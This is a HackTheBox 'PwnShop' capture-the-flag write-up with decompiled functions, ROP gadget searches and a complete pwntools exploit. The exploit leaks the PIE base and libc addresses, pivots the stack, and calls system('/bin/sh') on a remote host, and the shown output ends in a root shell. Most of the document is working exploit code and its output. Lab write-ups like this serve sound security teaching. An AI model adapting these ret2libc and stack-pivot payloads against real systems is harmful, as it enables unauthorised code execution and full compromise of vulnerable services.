PwnShop
-
pwn
Intro to Binary Exploitation
htb-pwn
piebase
stack pivot
ret2libc
- HTB Console.zip
hackthebox
Binary Info¶
$ file pwnshop
pwnshop: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=e354418962cffebad74fa44061f8c58d92c0e706, for GNU/Linux 3.2.0, stripped
$ checksec --file=pwnshop
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH No Symbols No 0 2 pwnshop
- NX Enabled
- PIE Enabled
Function¶
undefined [16] FUN_001010a0(void)
{
int iVar1;
ulong in_RCX;
char cVar2;
FUN_0010121e();
puts("========= HTB PwnShop ===========");
while( true ) {
while( true ) {
puts("What do you wanna do?");
printf("1> Buy\n2> Sell\n3> Exit\n> ");
iVar1 = getchar();
getchar();
cVar2 = (char)iVar1;
if (cVar2 != '2') break;
FUN_0010126a();
}
if (cVar2 == '3') break;
if (cVar2 == '1') {
FUN_0010132a();
}
else {
puts("Please try again.");
}
}
return ZEXT816(in_RCX) << 0x40;
}
void FUN_0010126a(void)
{
int iVar1;
long lVar2;
undefined4 *puVar3;
byte bVar4;
undefined4 auStack72 [8];
undefined8 local_28;
undefined4 *local_20;
bVar4 = 0;
local_20 = &DAT_001040c0;
printf("What do you wish to sell? ");
local_28 = 0;
puVar3 = auStack72;
for (lVar2 = 8; lVar2 != 0; lVar2 = lVar2 + -1) {
*puVar3 = 0;
puVar3 = puVar3 + (ulong)bVar4 * -2 + 1;
}
read(0,auStack72,0x1f);
printf("How much do you want for it? ");
read(0,&local_28,8);
iVar1 = strcmp((char *)&local_28,"13.37\n");
if (iVar1 == 0) {
puts("Sounds good. Leave details here so I can ask my guy to take a look.");
puVar3 = local_20;
for (lVar2 = 0x10; lVar2 != 0; lVar2 = lVar2 + -1) {
*puVar3 = 0;
puVar3 = puVar3 + (ulong)bVar4 * -2 + 1;
}
read(0,local_20,0x40);
}
else {
printf("What? %s? The best I can do is 13.37$\n",&local_28);
}
return;
}
Run Program¶
$ cyclic 100
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
$ ./pwnshop
========= HTB PwnShop ===========
What do you wanna do?
1> Buy
2> Sell
3> Exit
> 1
Sorry, we aren't selling right now.
But you can place a request.
Enter details: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
zsh: segmentation fault ./pwnshop
$ uaaavaaawaaaxaaayaaa
uaaavaaawaaaxaaayaaa: command not found
$ cyclic -l uaaa
80
$ ./pwnshop
========= HTB PwnShop ===========
What do you wanna do?
1> Buy
2> Sell
3> Exit
> 2
What do you wish to sell? test
How much do you want for it? aaaabbbb
What? aaaabbbb��UUUU? The best I can do is 13.37$
What do you wanna do?
1> Buy
2> Sell
3> Exit
>
from running the program, we can get that buy
has offset 80 character, and sell
has vuln output strings aaaabbbb��UUUU
Idea¶
Leak binary address¶
from sell
, we have local_20 = &DAT_001040c0;
and read(0,&local_28,8);
that we can exploit
string aaaabbbb��UUUU
has vuln on ��UUUU
, that the address of .bss(local_20
) which is the next value of local_28
we need to get hex of ��UUUU
, then substact with 0x40c0
(local_28 offset address) so that we can get the piebase
address
io.recv().decode()
io.sendline(b'2')
io.recv().decode()
io.sendline(b'test')
io.recv().decode()
leak_pad = b'a'*8
io.send(leak_pad)
resp = io.recv()
binary_offset = resp.split(leak_pad)[1]
binary_offset = binary_offset.split(b'?')[0]
binary_offset = bytearray(binary_offset).ljust(8, b'\x00')
binary_offset = u64(binary_offset, endian="little")
binary_offset -= 0x40c0 # got from local_20 = &DAT_001040c0;
print('piebase :',hex(binary_offset))
Leaking LIBC¶
from buy
, we have buffer overflow 80 characters, we can use it for leaking the libc
address.
we can add payload like image bellow, run in GDB
and put break point at buy return
so that we can know the process behind (not so necessary).
the main idea is print(puts) the libc
address, we can use pop_rdi
to store the parameter (got_puts
) and call plt_puts
. we use got_puts
because it stores puts_libc
address. buy function
because we need to continue our program, we dont want to stop(segmentation fault) our program
$ ropper --file pwnshop --search "pop rdi"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi
[INFO] File: pwnshop
0x00000000000013c3: pop rdi; ret;
$ ropper --file pwnshop --search "sub"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: sub
[INFO] File: pwnshop
0x000000000000121a: sub esp, 0x28; ret;
0x00000000000013dd: sub esp, 8; add rsp, 8; ret;
0x0000000000001005: sub esp, 8; mov rax, qword ptr [rip + 0x2fd9]; test rax, rax; je 0x1016; call rax;
0x0000000000001219: sub rsp, 0x28; ret;
0x00000000000013dc: sub rsp, 8; add rsp, 8; ret;
0x0000000000001004: sub rsp, 8; mov rax, qword ptr [rip + 0x2fd9]; test rax, rax; je 0x1016; call rax;
we will use 0x13c3
as pop_rdi and 0x1219
(to get more space in stack) as sub_rsp.
you can get got_puts
, plt_puts
, and buy_func
offset from some tools like ghidra
pop_rdi = p64(binary_offset+0x13c3)
got_puts = p64(binary_offset+0x4018)
plt_puts = p64(binary_offset+0x1030)
buy_func = p64(binary_offset+0x132a)
padding_to_rop_chain = 40 * b'a' # 0x50(ret) - 0x28(sub rsp, 0x28; ret)
rop_chain = pop_rdi + got_puts + plt_puts + buy_func
padding_to_stack_pivot = (72 - len(padding_to_rop_chain) - len(rop_chain)) * b'b'
sub_rsp = p64(binary_offset+0x1219) # sub rsp, 0x28; ret
payload = padding_to_rop_chain + rop_chain + padding_to_stack_pivot + sub_rsp
io.sendline(b'1')
io.recv()
io.send(payload)
output = io.recv()
leaked_puts_libc = output[:6]
leaked_puts_libc = bytearray(leaked_puts_libc).ljust(8, b'\x00')
leaked_puts_libc = u64(leaked_puts_libc, endian="little")
print('puts@GLIBC :',hex(leaked_puts_libc))
this will print puts_libc
address, then we need to find system
and /bin/sh
in libc, so that we can run buy
again and redirect to system('/bin/sh')
Find offset in LIBC¶
after running the source code and comparing with remote does, we get
$ python get_flag.py
[+] Starting local process './pwnshop': pid 178594
piebase : 0x555555554000
puts@GLIBC : 0x7ffff7e47e10
$ python get_flag.py
[+] Opening connection to 159.65.19.24 on port 32300: Done
piebase : 0x558f796d4000
puts@GLIBC : 0x7f1baa0eb6a0
the offset is different, it happens because the libc
we use can be different from the libc
remote, so we need to check what libc
remote is using.
https://libc.blukat.me/?q=puts%3A6a0, after trying we know that libc
remote uses libc6_2.23-0ubuntu11.2_amd64
with that information, we can define the system
and /bin/sh
offset. then we can copy the appropriate offset
libc_puts = 0x06f6a0
libc_system = 0x0453a0
libc_sh = 0x18ce17
libc_offset = leaked_puts_libc - libc_puts
system = p64(libc_offset + libc_system)
print('system :', hex(u64(system)))
sh = p64(libc_offset + libc_sh)
print('/bin/sh :', hex(u64(sh)))
send the payload
rop_chain = pop_rdi + sh + system
padding_to_stack_pivot = (72 - len(padding_to_rop_chain) - len(rop_chain)) * b'b'
payload = padding_to_rop_chain + rop_chain + padding_to_stack_pivot + sub_rsp
io.send(payload)
io.interactive()
Exploit¶
$ python get_flag.py
[+] Opening connection to 159.65.19.24 on port 32300: Done
piebase : 0x5635239db000
puts@GLIBC : 0x7fc5098b46a0
system : 0x7fc50988a3a0
/bin/sh : 0x7fc5099d1e17
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
$
Full Code¶
dont just copy paste, learning the basics is more important!
from pwn import *
def main():
url = "159.65.19.24"
port = 32300
io = remote(url, port)
# io = process('./pwnshop')
# Step 1: Leak binary address
io.recv().decode()
io.sendline(b'2')
io.recv().decode()
io.sendline(b'test')
io.recv().decode()
leak_pad = b'a'*8
io.send(leak_pad)
resp = io.recv()
binary_offset = resp.split(leak_pad)[1]
binary_offset = binary_offset.split(b'?')[0]
binary_offset = bytearray(binary_offset).ljust(8, b'\x00')
binary_offset = u64(binary_offset, endian="little")
binary_offset -= 0x40c0 # got from local_20 = &DAT_001040c0;
print('piebase :',hex(binary_offset))
# Step 2: Leaking LIBC
pop_rdi = p64(binary_offset+0x13c3)
got_puts = p64(binary_offset+0x4018)
plt_puts = p64(binary_offset+0x1030)
buy_func = p64(binary_offset+0x132a)
padding_to_rop_chain = 40 * b'a' # 0x50(ret) - 0x28(sub rsp, 0x28; ret)
rop_chain = pop_rdi + got_puts + plt_puts + buy_func
padding_to_stack_pivot = (72 - len(padding_to_rop_chain) - len(rop_chain)) * b'b'
sub_rsp = p64(binary_offset+0x1219) # sup rsp, 0x28; ret
payload = padding_to_rop_chain + rop_chain + padding_to_stack_pivot + sub_rsp
io.sendline(b'1')
io.recv()
io.send(payload)
output = io.recv()
leaked_puts_libc = output[:6]
leaked_puts_libc = bytearray(leaked_puts_libc).ljust(8, b'\x00')
leaked_puts_libc = u64(leaked_puts_libc, endian="little")
print('puts@GLIBC :',hex(leaked_puts_libc))
# print(output)
# Step 3: Find offset in LIBC
### Local
# libc_puts = 0x75e10
# libc_system = 0x49860
# libc_sh = 0x198882
### Remote (libc6_2.23-0ubuntu11.2_amd64)
libc_puts = 0x06f6a0
libc_system = 0x0453a0
libc_sh = 0x18ce17
libc_offset = leaked_puts_libc - libc_puts
system = p64(libc_offset + libc_system)
print('system :', hex(u64(system)))
sh = p64(libc_offset + libc_sh)
print('/bin/sh :', hex(u64(sh)))
# Step 4: Exploit
rop_chain = pop_rdi + sh + system
padding_to_stack_pivot = (72 - len(padding_to_rop_chain) - len(rop_chain)) * b'b'
payload = padding_to_rop_chain + rop_chain + padding_to_stack_pivot + sub_rsp
io.send(payload)
io.interactive()
if __name__ == '__main__':
main()